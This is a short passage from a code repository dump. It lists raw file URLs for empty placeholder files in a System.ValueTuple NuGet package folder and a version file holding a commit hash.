https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/System.ValueTuple.4.5.0/ref/uap10.0.16299/_._ -------------------------------------------------------------------------------- /packages/System.ValueTuple.4.5.0/ref/xamarinios10/_._: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/System.ValueTuple.4.5.0/ref/xamarinios10/_._ -------------------------------------------------------------------------------- /packages/System.ValueTuple.4.5.0/ref/xamarinmac20/_._: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/System.ValueTuple.4.5.0/ref/xamarinmac20/_._ -------------------------------------------------------------------------------- /packages/System.ValueTuple.4.5.0/ref/xamarintvos10/_._: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/System.ValueTuple.4.5.0/ref/xamarintvos10/_._ -------------------------------------------------------------------------------- /packages/System.ValueTuple.4.5.0/ref/xamarinwatchos10/_._: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/System.ValueTuple.4.5.0/ref/xamarinwatchos10/_._ -------------------------------------------------------------------------------- /packages/System.ValueTuple.4.5.0/useSharedDesignerContext.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/System.ValueTuple.4.5.0/useSharedDesignerContext.txt -------------------------------------------------------------------------------- /packages/System.ValueTuple.4.5.0/version.txt: -------------------------------------------------------------------------------- 1 | 30ab651fcb4354552bd4891619a0bdd81e0ebdbf 2 | --------------------------------------------------------------------------------